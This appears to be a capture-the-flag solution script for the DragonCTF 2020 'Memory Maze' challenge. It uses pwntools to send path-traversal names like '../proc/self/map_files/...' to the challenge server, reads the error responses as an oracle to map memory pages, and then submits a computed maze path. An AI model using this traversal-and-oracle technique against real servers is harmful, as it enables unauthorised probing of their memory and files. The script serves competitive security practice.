Memory Maze - DragonCTF 2020

maze.py

# Memory Maze - DragonCTF 2020
# by hgarrereyn

from pwn import *
import time

PAGE_SIZE = 0x1000
BASE = 0x13370000


def get_map(y, x):
    start = BASE + (((y * 303) + x) * PAGE_SIZE)
    name = '../proc/self/map_files/%08x-%08x' % (start, start + PAGE_SIZE)
    return name

def test_path(s, path):
    # print(path)
    s.sendline(path)
    r = s.recvuntil('Your name:').decode('ascii')

    h = r.split('invalid:')[1].split('\n')[0]

    return 'Operation' in h

def build_path(cut):
    p = ''
    
    for c in cut:
        d = c - 1
        if d == 0:
            p += 'SSSS'
        else:
            p += ('E'*d) + 'SS' + ('W'*d) + 'SS'
            
    p += 'E' * 300
            
    return p


# s = remote('localhost', 1337)
s = remote('memorymaze.hackable.software', 1337)
s.recvuntil('Your name:')


cut = [301] * 75

for idx in range(75):
    row = (idx * 4) + 2
    for x in range(1, 303-1):
        if test_path(s, get_map(row, x)):
            cut[idx] = x
            break

    # check shortest path
    p = build_path(cut)
    print('shortest path: %d :: %d' % (idx, len(p)))

    if len(p) < 25000:
        print('good!')
        break

print(cut)
print(p)

s.sendline('name')
s.sendafter(':', str(len(p)) + '\n')
s.sendafter(':', p)

s.interactive()